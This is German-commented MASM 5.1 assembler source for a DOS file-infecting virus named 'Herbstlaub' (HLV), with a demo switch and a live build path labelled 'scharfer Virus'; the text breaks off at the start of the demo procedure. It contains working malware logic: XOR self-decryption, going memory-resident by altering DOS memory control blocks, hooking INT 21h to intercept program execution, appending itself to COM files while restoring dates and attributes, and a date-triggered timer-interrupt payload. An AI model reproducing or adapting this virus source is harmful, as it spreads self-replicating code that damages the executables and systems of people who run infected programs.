PAGE 62,132
TITLE	_HLV_ (- Microsoft MASM 5.1 source -)
SUBTTL	(C) 1990 164A12565AA18213165556D3125C4B962712
.RADIX	16
.LALL

TRUE		EQU	1
FALSE		EQU	0

MONTH		EQU	9D
YEAR		EQU	1991D

DEMO		EQU	TRUE

SWITCHABLE	=	TRUE
IFDEF		_NOSWITCH
SWITCHABLE	=	FALSE
ENDIF

comment 	#
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º									       º
º                            =====================   			       º
º	                      H E R B S T L A U B     			       º
º                            =====================			       º
º									       º
º									       º
º	SPRACHE:	MASM 4.00 (+)   [ frhere Versionen brechen z.B. mit   º
º					*OUT OF MEMORY* (3.00) ab oder lassen  º
º					sogar den PC abstrzen (1.10) ]        º
º									       º
º	( Eine als Beispiel gedachte Batchdatei zur Steuerung der šbersetzung  º
º	ist am Ende dieses Quelltextes als Kommentar hinzugefgt. )            º
º									       º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	W„hrend der šbersetzung zu auszugebende Meldungen, 1. Teil.            ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
#
IF1
REPT	50
%Out
ENDM;
%Out	ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
%Out	º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
%Out	º°°°°°°°°°°°°°°°°°°°ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿°°°°°°°°°°°°°°°°°°°°º
%Out	º°°ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´  H E R B S T L A U B  ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ°°º
%Out	º°°°°°°°°°°°°°°°°°°°ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°°°°°°°°°°°°°°°°°°°º
%Out	º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
ENDIF
comment #
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Einige Assembler - Makros.      				       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
#							;
MSDOS		MACRO					;
			INT	21			;
		ENDM					;
Wait_HRI_or_VRI MACRO					;
		LOCAL	_X_1, _X_2, _X_3		;
		MOV	DX,03DA 			;
		CLI					;
	  _X_1: IN	AL,DX				;
		TEST	AL,08				;
		JNZ	_X_3				;
		TEST	AL,01				;
		JNZ	_X_1				;
	  _X_2: IN	AL,DX				;
		TEST	AL,01				;
		JZ	_X_2				;
	  _X_3	LABEL	NEAR				;
		ENDM					;------;
SAVE		MACRO	  _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c  ;
		 IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
		  IFNB	 <_X>				;------;
		   IFIDN <_X>,<F>			;
			PUSHF				;
		   ELSE 				;
			PUSH	_X			;
		   ENDIF				;
		  ENDIF 				;
		 ENDM					;
		ENDM					;------;
REST		MACRO	  _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c  ;
		 IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
		  IFNB	 <_X>				;------;
		   IFIDN <_X>,<F>			;
			POPF				;
		   ELSE 				;
			POP	_X			;
		   ENDIF				;
		  ENDIF 				;
		 ENDM					;
		ENDM					;
MOV_S		MACRO	S1,S2				;
			PUSH	S2			;
			POP	S1			;
		ENDM					;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Start des Code-Segments, Segment Prefix Bytes werden  n i c h t  au-   ³
³	tomatisch durch den Assembler erzeugt.				       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
TEXT		SEGMENT 				;
		ASSUME	CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Einige das Verst„ndnis erleichternde Definitionen.      	       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
NearJmp 	EQU	0E9				;
PORT_B_8259A	EQU	20				;
EOI_8259A	EQU	20				;
PORT_B_8255	EQU	61				;
FIRSTCONST	EQU	0131				;
FIRSTBASE	EQU	FIRSTCONST  - OFFSET XI_001	;-----;
FIRSTBASE2	EQU	(FIRSTCONST + OFFSET XI_005 - XI_001) ;
DeCrptd 	EQU	0				;-----;
EnCrptd 	EQU	1				;
BIOSDATASEG	EQU	040				;
MonoBase	EQU	0B000				;
ColorBase	EQU	0B800				;
B_VIDPAGE	EQU	THIS WORD + 04E 		;
B_TIMERVAR	EQU	THIS WORD + 06C 		;
TimerInt	EQU	1C				;
DOS		EQU	21				;
DOS_multi	EQU	2F				;
MS_SetDTA	EQU	1A				;
  DTA_in_PSP	EQU	80				;
MS_SetInt	EQU	25				;
MS_GetDateTime	EQU	2A				;
MS_GetVer	EQU	30				;
  DOS_v_02	EQU	2				;
MS_GetInt	EQU	35				;
MS_Open 	EQU	3Dh				;
  Read_Only	EQU	0				;
  Read_Write	EQU	2				;
MS_Close	EQU	3E				;
MS_Read 	EQU	3F				;
MS_Write	EQU	40				;
MS_MoveFP	EQU	42				;
  OfsFrmTop	EQU	0				;
  OfsFrmEnd	EQU	02				;
MS_GetFileAttr	EQU	4300				;
MS_SetFileAttr	EQU	4301				;
  Attr_A	EQU	20				;
  Attr_SHR	EQU	7				;
  Attr_ASHR	EQU	Attr_A OR Attr_SHR		;
MS_AllocMem	EQU	48				;
MS_ReleaseMem	EQU	49				;
  MemCBsig	EQU	THIS BYTE + 0			;
  MemCBowned	EQU	THIS WORD + 1			;
  MemCBsize	EQU	THIS WORD + 3			;
MS_Exec 	EQU	4Bh				;
  MS_Exec_SF0	EQU	0				;
  Virus_fun	EQU	0ffh				;
  Virus_Sig	EQU	55AA				;
MS_SetPSP	EQU	50				;
  PSPsize	EQU	00100				;
  PSPCurCom	EQU	THIS WORD + 016 		;
  PSPEnv	EQU	THIS WORD + 02C 		;
  PSP_SegJFB	EQU	THIS WORD + 036 		;
  NoEnv 	EQU	0				;
MS_GetFileDate	EQU	5700				;
MS_SetFileDate	EQU	5701				;
PSP_100 	EQU	THIS WORD + PSPsize		;
PSP_102 	EQU	THIS BYTE + PSPsize + 2 	;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1.    	       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
Crypt1		DB	0				;
Crypt2		EQU	OFFSET Crypt1 + FIRSTBASE	;
Crypt3		EQU	Crypt1 + PSPsize		;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Einsprungstelle, entschlsseln des Virus falls notwendig.              ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
XI_000: 	CLI					;
		MOV	BP,SP				;
		CALL	XI_001				;
XI_001: 	POP	BX				;
		SUB	BX,FIRSTCONST			;
		TEST	BYTE PTR CS:[BX+Crypt2],EnCrptd ;
		JZ	XI_003				;
		LEA	SI,[BX + XR_000]		;
		MOV	SP,OFFSET EOFC-OFFSET XI_003	;
XI_002: 	XOR	[SI],SI 			;
		XOR	[SI],SP 			;
		INC	SI				;
		DEC	SP				;
		JNZ	XI_002				;
XI_003		LABEL	NEAR				;
    XR_000	EQU	OFFSET XI_003 + FIRSTBASE	;
    XR_001	EQU	XI_003 + PSPsize		;
		MOV	SP,BP				;
		JMP	SHORT XI_004			;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Datenbereich 2. 						       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
    XD_000	DW	PSPsize 			;
Disp_to_com_1	EQU	OFFSET XD_000 + FIRSTBASE	;
    XD_001	DW	9090				;
Disp_to_com_2	EQU	OFFSET XD_001 + FIRSTBASE	;
    XD_002	DW	9090				;
Initial_AX	EQU	OFFSET XD_002 + FIRSTBASE	;
    XD_003	EQU	THIS WORD			;
    XD_004	EQU	THIS BYTE + 2			;
		NOP					;
		NOP					;
		NOP					;
Org1stInstr_s1	EQU	OFFSET XD_003 + FIRSTBASE	;
Org1stInstr_t1	EQU	XD_003 + PSPsize		;
Org1stInstr_t2	EQU	XD_003 + PSPsize + 1		;
Org1stInstr_s2	EQU	OFFSET XD_004 + FIRSTBASE	;
    XD_005	DW	2 dup ( 9090 )			;
Org_Int_1C	EQU	XD_005 + PSPsize		;
    XD_006	DW	2 dup ( 9090 )			;
Org_int_21s	EQU	OFFSET XD_006 + FIRSTBASE	;
Org_Int_21t	EQU	XD_006 + PSPsize		;
							;
IF SWITCHABLE						;
							;
    XD_007	DW	2 dup ( 9090 )			;
Org_Int_2F	EQU	XD_007 + PSPsize		;
    XD_008	DB	5, "_HLV_    "			;
Cmd_2F		EQU	XD_008 + PSPsize		;
    XD_009	DB	'HLV is on',0Dh,0Ah,'$' 	;
Msg_On		EQU	XD_009 + PSPsize		;
    XD_010	DB	'HLV is off',0Dh,0Ah,'$'	;
Msg_Off 	EQU	XD_010 + PSPsize		;
							;
ENDIF							;
							;
    XD_011	DW	9090				;
File_Attributes EQU	XD_011 + PSPsize		;
    XD_012	DW	9090				;
File_Date	EQU	XD_012 + PSPsize		;
    XD_013	DW	9090				;
File_Time	EQU	XD_013 + PSPsize		;
    XD_014	DW	2 dup ( 9090 )			;
Pathname	EQU	XD_014 + PSPsize		;
    XD_015	DW	2 dup ( 9090 )			;
File_Size_lsb	EQU	XD_015 + PSPsize		;
File_Size_msb	EQU	XD_015 + PSPsize + 2		;
    XD_016	DB	NearJmp 			;
FirstOpCode_1	EQU	XD_016 + PSPsize		;
    XD_017	DW	9090				;
FirstOpCode_2	EQU	XD_017 + PSPsize		;
    XD_018	DB	90				;
Num_of_Col	EQU	XD_018 + PSPsize		;
    XD_019	DB	90				;
Last_Line	EQU	XD_019 + PSPsize		;
    XD_020	DB	90				;
Prevent_Snow?	EQU	XD_020 + PSPsize		;
Last_Pair	EQU	THIS WORD + PSPsize		;
    XD_021	DB	90				;
    XD_022	DB	90				;
Last_Char	EQU	XD_021 + PSPsize		;
Last_Attr	EQU	XD_022 + PSPsize		;
RecTyp1 RECORD	ExtCom:1, Recf_1:1, R_in_1c:1		;
    XD_023	RecTyp1 <0,0,0> 			;
ISR_Flags	EQU	XD_023 + PSPsize		;
    XD_024	DW	9090				;
Seg_of_VRAM	EQU	XD_024 + PSPsize		;
    XD_025	DW	9090				;
Page_offset	EQU	XD_025 + PSPsize		;
    XD_026	DW	9090				;
Speed		EQU	XD_026 + PSPsize		;
    XD_027	DW	9090				;
XR_002 EQU	XD_027 + PSPsize			;
    XD_028	DW	9090				;
XR_003 EQU	XD_028 + PSPsize			;
    XD_029	DW	9090				;
Num_of_char	EQU	XD_029 + PSPsize		;
    XD_030	DW	9090				;
XR_004 EQU	XD_030 + PSPsize			;
    XD_031	DW	7 dup ( 9090 )			;
FirstRandom	EQU	XD_031 + PSPsize		;
LastRandom	EQU	This Word + PSPsize		;
		DW	9090				;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Installieren u. relozieren falls notwendig.     		       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
XI_004: 	CALL	XI_005				;
XI_005		LABEL	NEAR				;
XR_005		EQU	XI_005 + PSPsize		;
		POP	BX				;
		SUB	BX,FIRSTBASE2			;
		MOV	CS:[BX+Disp_to_com_2],CS	;
		MOV	CS:[BX+Initial_AX],AX		;
		MOV	AX,CS:[BX+Org1stInstr_s1]	;
		MOV	[PSP_100],AX			;
		MOV	AL,CS:[BX+Org1stInstr_s2]	;
		MOV	[PSP_102],AL			;
		PUSH	BX				;
		MOV	AH,MS_GetVer			;
		MSDOS					;
		POP	BX				;
		CMP	AL,DOS_v_02			;
		JB	XI_006				;
		MOV	AX,MS_Exec * 100 + Virus_fun	;
		XOR	DI,DI				;
		XOR	SI,SI				;
		MSDOS					;
		CMP	DI,Virus_sig			;
		JNZ	XI_007				;
XI_006: 	STI					;
		MOV_S	ES,DS				;
		MOV	AX,CS:[BX+Initial_AX]		;
		JMP	DWORD PTR CS:[BX+Disp_to_com_1] ;
XI_007: 	PUSH	BX				;
		MOV	AX,MS_GetInt * 100 + DOS	;
		MSDOS					;
		MOV	AX,BX				;
		POP	BX				;
		MOV	CS:[BX+Org_int_21s],AX		;
		MOV	CS:[BX+Org_int_21s + 2],ES	;------------;
		MOV	AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ;
		MOV	BP,CS				;------------;
		DEC	BP				;
		MOV	ES,BP				;
		MOV	SI,CS:[PSPCurCom]		;
		MOV	ES:[MemCBowned],SI		;
		MOV	DX,ES:[MemCBsize]		;
		MOV	ES:[MemCBsize],AX		;
		MOV	ES:[MemCBsig],'M'		;
		SUB	DX,AX				;
		DEC	DX				;
		INC	BP				;
		ADD	BP,AX				;
		INC	BP				;
		MOV	ES,BP				;
		PUSH	BX				;
		MOV	AH,MS_SetPSP			;
		MOV	BX,BP				;
		MSDOS					;
		POP	BX				;
		XOR	DI,DI				;
		MOV_S	SS,ES				;
		PUSH	DI				;
		LEA	DI,[BX+XR_010]			;
		MOV	SI,DI				;
		MOV	CX,OFFSET EOFC			;
		STD					;
		REPZ	MOVSB				;
		PUSH	ES				;
		LEA	CX,[BX+XR_006]			;
		PUSH	CX				;
		RETF					;
XI_008		LABEL	NEAR				;
XR_006		EQU	OFFSET XI_008 + FIRSTBASE	;
		MOV	CS:[BX+Disp_to_com_2],CS	;
		LEA	CX,[BX+Crypt2]			;
		REPZ	MOVSB				;
		MOV	CS:[PSP_SegJFB],CS		;
		DEC	BP				;
		MOV	ES,BP				;
		MOV	ES:[MemCBsize],DX		;
		MOV	ES:[MemCBsig],'Z'		;
		MOV	ES:[MemCBowned],CS		;
		INC	BP				;
		MOV	ES,BP				;
		MOV_S	ES,DS				;
		MOV_S	DS,CS				;
		LEA	SI,[BX+Crypt2]			;
		MOV	DI,PSPsize			;
		MOV	CX,OFFSET EOFC			;
		CLD					;
		REPZ	MOVSB				;
		PUSH	ES				;
		LEA	AX,[XR_007]			;
		PUSH	AX				;
		RETF					;
XI_009		LABEL	NEAR				;
XR_007		EQU	XI_009 + PSPsize		;
		MOV	CS:[PSPEnv],NoEnv		;
		MOV	CS:[PSPCurCom],CS		;
		PUSH	DS				;
		LEA	DX,[XR_008]			;
		MOV_S	DS,CS				;
		MOV	AX,MS_SetInt * 100 + DOS	;
		MSDOS					;
		POP	DS				;
		MOV	AH,MS_SetDTA			;
		MOV	DX,DTA_in_PSP			;
		MSDOS					;
		SAVE	DS,ES,SI,DI,CX			;
		MOV_S	ES,CS				;
		MOV	CX,BIOSDATASEG			;
		MOV	DS,CX				;
		MOV	DI,OFFSET FirstRandom		;
		MOV	SI,OFFSET B_TIMERVAR		;
		MOV	CL,8				;
		CLD					;
		REPZ	MOVSW				;
		REST	CX,DI,SI,ES,DS			;
							;
IF SWITCHABLE						;
							;
		PUSH	DS				;
		MOV	AX,MS_GetInt * 100 + DOS_multi	;
		MSDOS					;
		MOV	CS:[Org_Int_2F],BX		;
		MOV	CS:[Org_Int_2F + 2],ES		;
		MOV	AX,MS_SetInt * 100 + DOS_multi	;
		MOV	DX,offset Int_2F_ISR		;
		MOV_S	DS,CS				;
		MSDOS					;
		POP	DS				;
							;
ENDIF							;
							;
		OR	CS:[ISR_Flags],MASK ExtCom	;
		MOV	AH,MS_GetDateTime		;
		MSDOS					;
		CMP	CX,YEAR 			;
		JZ	XI_010				;
		JMP	SHORT XI_011			;
XI_010: 	CMP	DH,MONTH			;
		JB	XI_011				;
		AND	CS:[ISR_Flags],NOT MASK ExtCom	;
XI_011: 	MOV	AX,1518 			;
		CALL	Random				;
		INC	AX				;
		MOV	CS:[XR_002],AX			;
		MOV	CS:[XR_003],AX			;
		MOV	CS:[XR_004],1			;
		MOV	AX,MS_GetInt * 100 + TimerInt	;
		MSDOS					;
		MOV	CS:[Org_Int_1C],BX		;
		MOV	CS:[Org_Int_1C + 2],ES		;
		PUSH	DS				;
		MOV	AX,MS_SetInt * 100 + TimerInt	;
		MOV	DX,OFFSET XR_009		;
		MOV_S	DS,CS				;
		MSDOS					;
		POP	DS				;
XI_012: 	MOV	BX,OFFSET XR_005 - (FIRSTBASE2) ;
		JMP	XI_006				;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Neue Interrupt 21(h) Behandlungsroutine ( ver„ndert Exec - Funktion ). ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
		#					;
XI_013		LABEL	NEAR				;
XR_008		EQU	XI_013 + PSPsize		;
		CMP	AH,MS_Exec			;
		JZ	XI_016				;
XI_014: 	JMP	DWORD PTR CS:[Org_Int_21t]	;
XI_015: 	MOV	DI,Virus_Sig			;
		LES	AX,CS:DWORD PTR [Org_Int_21t]	;
		MOV	DX,CS				;
		IRET					;
XI_016: 	CMP	AL,Virus_fun			;
		JZ	XI_015				;
		CMP	AL,MS_Exec_SF0			;
		JNZ	XI_014				;
		SAVE	F,AX,BX,CX,DX,SI,DI,BP,ES,DS	;
		MOV	CS:[Pathname],DX		;
		MOV	CS:[Pathname + 2],DS		;
		MOV_S	ES,CS				;
		MOV	AX,MS_Open * 100 + Read_Only	;
		MSDOS					;
		JB	XI_018				;
		MOV	BX,AX				;
		MOV	AX,MS_GetFileDate		;
		MSDOS					;
		MOV	CS:[File_Date],DX		;
		MOV	CS:[File_Time],CX		;
		MOV	AH,MS_Read			;
		MOV_S	DS,CS				;
		MOV	DX,OFFSET Org1stInstr_t1	;
		MOV	CX,3				;
		MSDOS					;
		JB	XI_018				;
		CMP	AX,CX				;
		JNZ	XI_018				;
		MOV	AX,MS_MoveFP * 100 + OfsFrmEnd	;
		XOR	CX,CX				;
		XOR	DX,DX				;
		MSDOS					;
		MOV	CS:[File_Size_lsb],AX		;
		MOV	CS:[File_Size_msb],DX		;
		MOV	AH,MS_Close			;
		MSDOS					;---------------;
		CMP	CS:[Org1stInstr_t1], 'Z' * 100 + 'M'		;
		JNZ	XI_017						;
		JMP	XI_025						;
XI_017: 	CMP	CS:[File_Size_msb],+0				;
		JA	XI_018						;
		CMP	CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ;
		JBE	XI_019						;
XI_018: 	JMP	XI_025						;
XI_019: 	CMP	BYTE PTR CS:[Org1stInstr_t1],NearJmp		;
		JNZ	XI_020						;
		MOV	AX,CS:[File_Size_lsb]				;
		ADD	AX,OFFSET Crypt1 - offset EOFC - 2		;
		CMP	AX,CS:[Org1stInstr_t2]		;---------------;
		JZ	XI_018				;
							;
IF DEMO 						;
XI_020: 	CALL	DEMO_Infect			;
		JMP	XI_025				;
							;
IF2							;----------------;
%Out	º°°°°°°°°°°°°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°°°°°°°°°°°°º
%Out	º°°°°°°°°°°°°°°°°°°°°°°º Demo - Version, º°°°°°°°°°°°°°°°°°°°°°°°º
%Out	º°°°°°°°°°°°°°°°°°°°°°°º k e i n  Virus. º°°°°°°°°°°°°°°°°°°°°°°°º
ENDIF							;----------------;
ELSE							;
IFDEF	_DANGER 					;
XI_020		MOV	AX,MS_GetFileAttr		;
		LDS	DX,CS:DWORD PTR [Pathname]	;
		MSDOS					;
		JB	XI_018				;
		MOV	CS:[File_Attributes],CX 	;
		XOR	CL,Attr_A			;
		TEST	CL,Attr_ASHR			;
		JZ	XI_021				;
		MOV	AX,MS_SetFileAttr		;
		XOR	CX,CX				;
		MSDOS					;
		JB	XI_018				;
XI_021: 	MOV	AX,MS_Open * 100 + Read_Write	;
		MSDOS					;
		JB	XI_018				;
		MOV	BX,AX				;
		MOV	AX,MS_MoveFP * 100 + OfsFrmEnd	;
		XOR	CX,CX				;
		XOR	DX,DX				;
		MSDOS					;
		CALL	Append_Virus			;
		JNB	XI_022				;
		MOV	AX,MS_MoveFP * 100 + OfsFrmTop	;
		MOV	CX,CS:[File_Size_msb]		;
		MOV	DX,CS:[File_Size_lsb]		;
		MSDOS					;
		MOV	AH,MS_Write			;
		XOR	CX,CX				;
		MSDOS					;
		JMP	SHORT XI_023			;
XI_022: 	MOV	AX,MS_MoveFP * 100 + OfsFrmTop	;
		XOR	CX,CX				;
		XOR	DX,DX				;
		MSDOS					;
		JB	XI_023				;
		MOV	AX,CS:[File_Size_lsb]		;
		ADD	AX,-2				;
		MOV	CS:[FirstOpCode_2],AX		;
		MOV	AH,MS_Write			;
		MOV	DX,OFFSET FirstOpCode_1 	;
		MOV	CX,3				;
		MSDOS					;
XI_023: 	MOV	AX,MS_SetFileDate		;
		MOV	DX,CS:[File_Date]		;
		MOV	CX,CS:[File_Time]		;
		MSDOS					;
		MOV	AH,MS_Close			;
		MSDOS					;
		MOV	CX,CS:[File_Attributes] 	;
		TEST	CL,Attr_SHR			;
		JNZ	XI_024				;
		TEST	CL,Attr_A			;
		JNZ	XI_025				;
XI_024: 	MOV	AX,MS_SetFileAttr		;
		LDS	DX,CS:DWORD PTR [Pathname]	;
		MSDOS					;
IF2							;----------------;
%Out	º°°°°°°°°°°°°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°°°°°°°°°°°°º
%Out	º°°°°°°°°°°°°°°°°°°°°°°º    KEIN DEMO,	 º°°°°°°°°°°°°°°°°°°°°°°°º
%Out	º°°°°°°°°°°°°°°°°°°°°°°º scharfer Virus. º°°°°°°°°°°°°°°°°°°°°°°°º
ENDIF									 ;
ELSE									 ;
		.ERR							 ;
ENDIF									 ;
ENDIF									 ;
IF SWITCHABLE								 ;
IF2									 ;
%Out	º°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°º
%Out	º°°°°°°°°°°°º Neuer interner MSDOS Befehl '_HLV_' ! º°°°°°°°°°°°°º
ENDIF									 ;
ELSE									 ;
IF2									 ;
%Out	º°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°º
%Out	º°°°°°°°°°°°º Kommando '_HLV_' nicht implementiert. º°°°°°°°°°°°°º
ENDIF									 ;
ENDIF									 ;
DISPNUM MACRO	nu,nuxx 						 ;
%Out	º°°°°°°°°°°°º	(Monat - Jahr)	     nu	 -  nuxx    º°°°°°°°°°°°°º
ENDM									 ;
IF2									 ;
%Out	º°°°°°°°°°°°º	  Bis zum Jahresende aktiv ab:	    º°°°°°°°°°°°°º
.radix 10								 ;
DISPNUM %MONTH,%YEAR							 ;
.radix 16								 ;
%Out	º°°°°°°°°°°°ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ°°°°°°°°°°°°º
endif									 ;
XI_025: 	REST	DS,ES,BP,DI,SI,DX,CX,BX,AX,F	;----------------;
		JMP	XI_014				;
IF DEMO 						;
							;
		comment 				#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³	Statt APPEND in der DEMO - Version aufgerufene Prozedur.	       ³
